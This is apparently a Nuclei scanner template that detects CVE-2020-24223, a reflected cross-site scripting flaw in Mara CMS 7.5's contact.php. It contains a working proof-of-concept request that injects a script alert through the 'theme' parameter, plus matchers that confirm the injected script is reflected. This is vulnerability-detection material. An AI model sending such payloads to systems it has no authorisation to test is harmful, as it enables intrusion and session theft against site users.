id: CVE-2020-24223

info:
  name: Mara CMS  7.5 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Mara CMS 7.5 allows reflected cross-site scripting in contact.php via the theme or pagetheme parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Mara CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48777
    - https://sourceforge.net/projects/maracms/
    - https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24223
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24223
    cwe-id: CWE-79
    epss-score: 0.14615
    epss-percentile: 0.96212
    cpe: cpe:2.3:a:mara_cms_project:mara_cms:7.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mara_cms_project
    product: mara_cms
  tags: cve2020,cve,mara,xss,edb,mara_cms_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201e548a7530992da3eaf3a8b1233c9c0bf5157b24dfbaec2977c80630df51f095022100c066963b5dc99f77467268cc60b62af493fb4ba8c1bc85e1ab15f18c3dafcfd4:922c64590222798bb761d5b6d8e72950